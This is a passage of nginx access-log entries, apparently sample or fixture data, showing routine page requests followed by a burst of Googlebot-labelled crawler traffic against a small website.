10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:00:45 web-server-1 nginx[5678]: 172.16.31.42 - - [02/Jul/2025:12:00:45 +0000] "GET /index.html HTTP/1.1" 200 13657 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:51 web-server-1 nginx[5678]: 172.16.31.42 - - [02/Jul/2025:12:00:51 +0000] "GET /index.html HTTP/1.1" 200 24668 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:53 web-server-1 nginx[5678]: 172.16.31.42 - - [02/Jul/2025:12:00:53 +0000] "GET /contact HTTP/1.1" 200 14280 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:00:54 web-server-1 nginx[5678]: 192.168.1.193 - - [02/Jul/2025:12:00:54 +0000] "GET /products/123 HTTP/1.1" 200 12437 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:00:55 web-server-1 nginx[5678]: 192.168.1.193 - - [02/Jul/2025:12:00:55 +0000] "GET /products/123 HTTP/1.1" 200 14776 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:01:02 web-server-1 nginx[5678]: 203.0.113.75 - - [02/Jul/2025:12:01:02 +0000] "GET /css/main.css HTTP/1.1" 200 8009 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:02 web-server-1 nginx[5678]: 172.16.31.42 - - [02/Jul/2025:12:01:02 +0000] "GET /about-us HTTP/1.1" 200 23497 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:03 web-server-1 nginx[5678]: 10.0.0.26 - - [02/Jul/2025:12:01:03 +0000] "GET /index.html HTTP/1.1" 200 20933 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:05 web-server-1 nginx[5678]: 10.0.0.26 - - [02/Jul/2025:12:01:05 +0000] "GET /images/logo.png HTTP/1.1" 200 1694 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:01:08 web-server-1 nginx[5678]: 172.16.31.42 - - [02/Jul/2025:12:01:08 +0000] "GET /blog/posts/latest HTTP/1.1" 200 22988 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:12 web-server-1 nginx[5678]: 172.16.31.42 - - [02/Jul/2025:12:01:12 +0000] "GET /about-us HTTP/1.1" 200 7814 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:14 web-server-1 nginx[5678]: 172.16.31.42 - - [02/Jul/2025:12:01:14 +0000] "GET /blog/posts/latest HTTP/1.1" 200 3453 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:17 web-server-1 nginx[5678]: 203.0.113.75 - - [02/Jul/2025:12:01:17 +0000] "GET /blog/posts/latest HTTP/1.1" 200 22231 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:22 web-server-1 nginx[5678]: 192.168.1.193 - - [02/Jul/2025:12:01:22 +0000] "GET /css/main.css HTTP/1.1" 404 19294 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:01:23 web-server-1 nginx[5678]: 10.0.0.26 - - [02/Jul/2025:12:01:23 +0000] "GET /products/123 HTTP/1.1" 200 17399 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:24 web-server-1 nginx[5678]: 10.0.0.26 - - [02/Jul/2025:12:01:24 +0000] "GET /css/main.css HTTP/1.1" 200 1598 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:01:25 web-server-1 nginx[5678]: 192.168.1.193 - - [02/Jul/2025:12:01:25 +0000] "GET /about-us HTTP/1.1" 200 13772 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:26 web-server-1 nginx[5678]: 203.0.113.75 - - [02/Jul/2025:12:01:26 +0000] "GET /index.html HTTP/1.1" 200 21866 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:32 web-server-1 nginx[5678]: 172.16.31.42 - - [02/Jul/2025:12:01:32 +0000] "GET /blog/posts/latest HTTP/1.1" 200 11036 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:33 web-server-1 nginx[5678]: 10.0.0.26 - - [02/Jul/2025:12:01:33 +0000] "GET /about-us HTTP/1.1" 200 7692 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:01:34 web-server-1 nginx[5678]: 203.0.113.75 - - [02/Jul/2025:12:01:34 +0000] "GET /images/logo.png HTTP/1.1" 200 9549 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:01:38 web-server-1 nginx[5678]: 10.0.0.26 - - [02/Jul/2025:12:01:38 +0000] "GET /blog/posts/latest HTTP/1.1" 200 17047 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:01:44 web-server-1 nginx[5678]: 172.16.31.42 - - [02/Jul/2025:12:01:44 +0000] "GET /index.html HTTP/1.1" 200 3834 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:47 web-server-1 nginx[5678]: 192.168.1.193 - - [02/Jul/2025:12:01:47 +0000] "GET /contact HTTP/1.1" 200 10763 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:01:47 web-server-1 nginx[5678]: 192.168.1.193 - - [02/Jul/2025:12:01:47 +0000] "GET /blog/posts/latest HTTP/1.1" 200 21052 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:01:48 web-server-1 nginx[5678]: 172.16.31.42 - - [02/Jul/2025:12:01:48 +0000] "GET /blog/posts/latest HTTP/1.1" 200 11490 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:52 web-server-1 nginx[5678]: 203.0.113.75 - - [02/Jul/2025:12:01:52 +0000] "GET /blog/posts/latest HTTP/1.1" 200 12364 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:01:55 web-server-1 nginx[5678]: 10.0.0.26 - - [02/Jul/2025:12:01:55 +0000] "GET /blog/posts/latest HTTP/1.1" 200 20087 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:01:57 web-server-1 nginx[5678]: 203.0.113.75 - - [02/Jul/2025:12:01:57 +0000] "GET /css/main.css HTTP/1.1" 200 7639 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:01:58 web-server-1 nginx[5678]: 172.16.31.42 - - [02/Jul/2025:12:01:58 +0000] "GET /css/main.css HTTP/1.1" 200 24983 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:02:03 web-server-1 nginx[5678]: 172.16.31.42 - - [02/Jul/2025:12:02:03 +0000] "GET /blog/posts/latest HTTP/1.1" 200 8459 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:02:04 web-server-1 nginx[5678]: 203.0.113.75 - - [02/Jul/2025:12:02:04 +0000] "GET /about-us HTTP/1.1" 200 24111 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:02:06 web-server-1 nginx[5678]: 203.0.113.75 - - [02/Jul/2025:12:02:06 +0000] "GET /index.html HTTP/1.1" 200 14385 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:02:08 web-server-1 nginx[5678]: 192.168.1.193 - - [02/Jul/2025:12:02:08 +0000] "GET /contact HTTP/1.1" 200 11345 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:02:09 web-server-1 nginx[5678]: 192.168.1.193 - - [02/Jul/2025:12:02:09 +0000] "GET /css/main.css HTTP/1.1" 200 2721 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:02:11 web-server-1 nginx[5678]: 172.16.31.42 - - [02/Jul/2025:12:02:11 +0000] "GET /images/logo.png HTTP/1.1" 200 17837 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:02:11 web-server-1 nginx[5678]: 172.16.31.42 - - [02/Jul/2025:12:02:11 +0000] "GET /images/logo.png HTTP/1.1" 404 1174 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:02:12 web-server-1 nginx[5678]: 172.16.31.42 - - [02/Jul/2025:12:02:12 +0000] "GET /blog/posts/latest HTTP/1.1" 200 2852 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:02:15 web-server-1 nginx[5678]: 10.0.0.26 - - [02/Jul/2025:12:02:15 +0000] "GET /about-us HTTP/1.1" 200 11833 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:02:19 web-server-1 nginx[5678]: 192.168.1.193 - - [02/Jul/2025:12:02:19 +0000] "GET /about-us HTTP/1.1" 200 23843 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:02:21 web-server-1 nginx[5678]: 10.0.0.26 - - [02/Jul/2025:12:02:21 +0000] "GET /images/logo.png HTTP/1.1" 200 5521 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:02:23 web-server-1 nginx[5678]: 192.168.1.193 - - [02/Jul/2025:12:02:23 +0000] "GET /blog/posts/latest HTTP/1.1" 200 8501 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:02:26 web-server-1 nginx[5678]: 172.16.31.42 - - [02/Jul/2025:12:02:26 +0000] "GET /images/logo.png HTTP/1.1" 200 10408 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:02:28 web-server-1 nginx[5678]: 192.168.1.193 - - [02/Jul/2025:12:02:28 +0000] "GET /products/123 HTTP/1.1" 200 21082 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:02:30 web-server-1 nginx[5678]: 66.249.66.12 - - [02/Jul/2025:12:02:30 +0000] "GET /products/123 HTTP/1.1" 200 31568 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:30 web-server-1 nginx[5678]: 66.249.66.17 - - [02/Jul/2025:12:02:30 +0000] "GET /products/123 HTTP/1.1" 200 41315 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:31 web-server-1 nginx[5678]: 66.249.66.16 - - [02/Jul/2025:12:02:31 +0000] "GET /images/logo.png HTTP/1.1" 200 59868 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:32 web-server-1 nginx[5678]: 66.249.66.12 - - [02/Jul/2025:12:02:32 +0000] "GET /contact HTTP/1.1" 200 22955 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:32 web-server-1 nginx[5678]: 66.249.66.11 - - [02/Jul/2025:12:02:32 +0000] "GET /blog/posts/latest HTTP/1.1" 200 36683 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:32 web-server-1 nginx[5678]: 66.249.66.12 - - [02/Jul/2025:12:02:32 +0000] "GET /products/123 HTTP/1.1" 200 72299 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:32 web-server-1 nginx[5678]: 66.249.66.14 - - [02/Jul/2025:12:02:32 +0000] "GET /blog/posts/latest HTTP/1.1" 200 68640 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:33 web-server-1 nginx[5678]: 66.249.66.1 - - [02/Jul/2025:12:02:33 +0000] "GET /blog/posts/latest HTTP/1.1" 200 31637 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:33 web-server-1 nginx[5678]: 66.249.66.5 - - [02/Jul/2025:12:02:33 +0000] "GET /blog/posts/latest HTTP/1.1" 200 52512 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:34 web-server-1 nginx[5678]: 66.249.66.14 - - [02/Jul/2025:12:02:34 +0000] "GET /index.html HTTP/1.1" 200 30719 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:34 web-server-1 nginx[5678]: 66.249.66.7 - - [02/Jul/2025:12:02:34 +0000] "GET /products/123 HTTP/1.1" 200 23094 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:34 web-server-1 nginx[5678]: 66.249.66.1 - - [02/Jul/2025:12:02:34 +0000] "GET /index.html HTTP/1.1" 200 59432 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:35 web-server-1 nginx[5678]: 66.249.66.10 - - [02/Jul/2025:12:02:35 +0000] "GET /contact HTTP/1.1" 404 79924 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:35 web-server-1 nginx[5678]: 66.249.66.15 - - [02/Jul/2025:12:02:35 +0000] "GET /images/logo.png HTTP/1.1" 404 53303 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:35 web-server-1 nginx[5678]: 66.249.66.12 - - [02/Jul/2025:12:02:35 +0000] "GET /images/logo.png HTTP/1.1" 200 57221 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:36 web-server-1 nginx[5678]: 66.249.66.16 - - [02/Jul/2025:12:02:36 +0000] "GET /images/logo.png HTTP/1.1" 200 60170 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:36 web-server-1 nginx[5678]: 66.249.66.4 - - [02/Jul/2025:12:02:36 +0000] "GET /contact HTTP/1.1" 200 62656 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:36 web-server-1 nginx[5678]: 66.249.66.8 - - [02/Jul/2025:12:02:36 +0000] "GET /about-us HTTP/1.1" 200 54424 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:37 web-server-1 nginx[5678]: 66.249.66.16 - - [02/Jul/2025:12:02:37 +0000] "GET /css/main.css HTTP/1.1" 200 43336 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:37 web-server-1 nginx[5678]: 66.249.66.3 - - [02/Jul/2025:12:02:37 +0000] "GET /contact HTTP/1.1" 301 55716 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:38 web-server-1 nginx[5678]: 66.249.66.18 - - [02/Jul/2025:12:02:38 +0000] "GET /contact HTTP/1.1" 200 62697 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:38 web-server-1 nginx[5678]: 66.249.66.13 - - [02/Jul/2025:12:02:38 +0000] "GET /contact HTTP/1.1" 200 55798 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:38 web-server-1 nginx[5678]: 66.249.66.9 - - [02/Jul/2025:12:02:38 +0000] "GET /css/main.css HTTP/1.1" 200 66276 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:39 web-server-1 nginx[5678]: 66.249.66.12 - - [02/Jul/2025:12:02:39 +0000] "GET /index.html HTTP/1.1" 200 56276 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:40 web-server-1 nginx[5678]: 66.249.66.2 - - [02/Jul/2025:12:02:40 +0000] "GET /blog/posts/latest HTTP/1.1" 200 42121 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:40 web-server-1 nginx[5678]: 66.249.66.1 - - [02/Jul/2025:12:02:40 +0000] "GET /images/logo.png HTTP/1.1" 200 15884 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:40 web-server-1 nginx[5678]: 66.249.66.10 - - [02/Jul/2025:12:02:40 +0000] "GET /contact HTTP/1.1" 200 19901 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:41 web-server-1 nginx[5678]: 66.249.66.6 - - [02/Jul/2025:12:02:41 +0000] "GET /contact HTTP/1.1" 200 69501 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:42 web-server-1 nginx[5678]: 66.249.66.15 - - [02/Jul/2025:12:02:42 +0000] "GET /contact HTTP/1.1" 301 45446 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:42 web-server-1 nginx[5678]: 66.249.66.12 - - [02/Jul/2025:12:02:42 +0000] "GET /blog/posts/latest HTTP/1.1" 200 33506 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:42 web-server-1 nginx[5678]: 66.249.66.9 - - [02/Jul/2025:12:02:42 +0000] "GET /products/123 HTTP/1.1" 200 49775 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:42 web-server-1 nginx[5678]: 66.249.66.4 - - [02/Jul/2025:12:02:42 +0000] "GET /css/main.css HTTP/1.1" 200 35066 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:43 web-server-1 nginx[5678]: 66.249.66.4 - - [02/Jul/2025:12:02:43 +0000] "GET /images/logo.png HTTP/1.1" 200 44804 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:43 web-server-1 nginx[5678]: 66.249.66.19 - - [02/Jul/2025:12:02:43 +0000] "GET /products/123 HTTP/1.1" 200 19895 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:43 web-server-1 nginx[5678]: 66.249.66.5 - - [02/Jul/2025:12:02:43 +0000] "GET /contact HTTP/1.1" 200 54604 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:43 web-server-1 nginx[5678]: 66.249.66.1 - - [02/Jul/2025:12:02:43 +0000] "GET /blog/posts/latest HTTP/1.1" 200 31294 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:43 web-server-1 nginx[5678]: 66.249.66.12 - - [02/Jul/2025:12:02:43 +0000] "GET /images/logo.png HTTP/1.1" 200 37154 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:43 web-server-1 nginx[5678]: 66.249.66.12 - - [02/Jul/2025:12:02:43 +0000] "GET /products/123 HTTP/1.1" 200 68349 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:44 web-server-1 nginx[5678]: 66.249.66.6 - - [02/Jul/2025:12:02:44 +0000] "GET /products/123 HTTP/1.1" 200 44300 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:45 web-server-1 nginx[5678]: 66.249.66.2 - - [02/Jul/2025:12:02:45 +0000] "GET /css/main.css HTTP/1.1" 200 41460 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:45 web-server-1 nginx[5678]: 66.249.66.10 - - [02/Jul/2025:12:02:45 +0000] "GET /index.html HTTP/1.1" 200 45596 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:47 web-server-1 nginx[5678]: 66.249.66.8 - - [02/Jul/2025:12:02:47 +0000] "GET /about-us HTTP/1.1" 200 59790 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:48 web-server-1 nginx[5678]: 66.249.66.13 - - [02/Jul/2025:12:02:48 +0000] "GET /images/logo.png HTTP/1.1" 200 46665 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:48 web-server-1 nginx[5678]: 66.249.66.15 - - [02/Jul/2025:12:02:48 +0000] "GET /blog/posts/latest HTTP/1.1" 301 41625 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:48 web-server-1 nginx[5678]: 66.249.66.2 - - [02/Jul/2025:12:02:48 +0000] "GET /blog/posts/latest HTTP/1.1" 200 74865 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:48 web-server-1 nginx[5678]: 66.249.66.10 - - [02/Jul/2025:12:02:48 +0000] "GET /index.html HTTP/1.1" 200 57970 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:48 web-server-1 nginx[5678]: 66.249.66.9 - - [02/Jul/2025:12:02:48 +0000] "GET /css/main.css HTTP/1.1" 404 23994 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:50 web-server-1 nginx[5678]: 66.249.66.19 - - [02/Jul/2025:12:02:50 +0000] "GET /contact HTTP/1.1" 200 45522 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:50 web-server-1 nginx[5678]: 66.249.66.6 - - [02/Jul/2025:12:02:50 +0000] "GET /index.html HTTP/1.1" 200 20962 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:50 web-server-1 nginx[5678]: 66.249.66.5 - - [02/Jul/2025:12:02:50 +0000] "GET /css/main.css HTTP/1.1" 200 61703 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:50 web-server-1 nginx[5678]: 66.249.66.17 - - [02/Jul/2025:12:02:50 +0000] "GET /products/123 HTTP/1.1" 200 62914 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:51 web-server-1 nginx[5678]: 66.249.66.18 - - [02/Jul/2025:12:02:51 +0000] "GET /images/logo.png HTTP/1.1" 200 22662 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:51 web-server-1 nginx[5678]: 66.249.66.2 - - [02/Jul/2025:12:02:51 +0000] "GET /blog/posts/latest HTTP/1.1" 200 50338 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:51 web-server-1 nginx[5678]: 66.249.66.7 - - [02/Jul/2025:12:02:51 +0000] "GET /css/main.css HTTP/1.1" 200 51138 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:52 web-server-1 nginx[5678]: 66.249.66.2 - - [02/Jul/2025:12:02:52 +0000] "GET /blog/posts/latest HTTP/1.1" 200 77272 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:52 web-server-1 nginx[5678]: 66.249.66.19 - - [02/Jul/2025:12:02:52 +0000] "GET /css/main.css HTTP/1.1" 200 40579 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:52 web-server-1 nginx[5678]: 66.249.66.4 - - [02/Jul/2025:12:02:52 +0000] "GET /css/main.css HTTP/1.1" 200 26940 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:52 web-server-1 nginx[5678]: 66.249.66.1 - - [02/Jul/2025:12:02:52 +0000] "GET /index.html HTTP/1.1" 301 56095 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:53 web-server-1 nginx[5678]: 66.249.66.2 - - [02/Jul/2025:12:02:53 +0000] "GET /index.html HTTP/1.1" 200 50250 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:54 web-server-1 nginx[5678]: 66.249.66.10 - - [02/Jul/2025:12:02:54 +0000] "GET /images/logo.png HTTP/1.1" 200 54858 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:55 web-server-1 nginx[5678]: 66.249.66.1 - - [02/Jul/2025:12:02:55 +0000] "GET /products/123 HTTP/1.1" 200 77231 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:55 web-server-1 nginx[5678]: 66.249.66.14 - - [02/Jul/2025:12:02:55 +0000] "GET /index.html HTTP/1.1" 200 16432 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:55 web-server-1 nginx[5678]: 66.249.66.1 - - [02/Jul/2025:12:02:55 +0000] "GET /about-us HTTP/1.1" 200 63582 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:55 web-server-1 nginx[5678]: 66.249.66.17 - - [02/Jul/2025:12:02:55 +0000] "GET /blog/posts/latest HTTP/1.1" 200 37602 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:56 web-server-1 nginx[5678]: 66.249.66.14 - - [02/Jul/2025:12:02:56 +0000] "GET /index.html HTTP/1.1" 200 70250 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:56 web-server-1 nginx[5678]: 66.249.66.10 - - [02/Jul/2025:12:02:56 +0000] "GET /about-us HTTP/1.1" 200 65581 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:57 web-server-1 nginx[5678]: 66.249.66.4 - - [02/Jul/2025:12:02:57 +0000] "GET /images/logo.png HTTP/1.1" 200 43484 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:58 web-server-1 nginx[5678]: 66.249.66.17 - - [02/Jul/2025:12:02:58 +0000] "GET /css/main.css HTTP/1.1" 200 74712 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:58 web-server-1 nginx[5678]: 66.249.66.9 - - [02/Jul/2025:12:02:58 +0000] "GET /images/logo.png HTTP/1.1" 200 56827 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:58 web-server-1 nginx[5678]: 66.249.66.15 - - [02/Jul/2025:12:02:58 +0000] "GET /about-us HTTP/1.1" 200 22786 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:59 web-server-1 nginx[5678]: 66.249.66.17 - - [02/Jul/2025:12:02:59 +0000] "GET /images/logo.png HTTP/1.1" 200 47896 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:59 web-server-1 nginx[5678]: 66.249.66.3 - - [02/Jul/2025:12:02:59 +0000] "GET /contact HTTP/1.1" 301 34224 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:59 web-server-1 nginx[5678]: 66.249.66.15 - - [02/Jul/2025:12:02:59 +0000] "GET /css/main.css HTTP/1.1" 200 33222 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:00 web-server-1 nginx[5678]: 66.249.66.11 - - [02/Jul/2025:12:03:00 +0000] "GET /contact HTTP/1.1" 200 40244 "-" "Googlebot/2.1 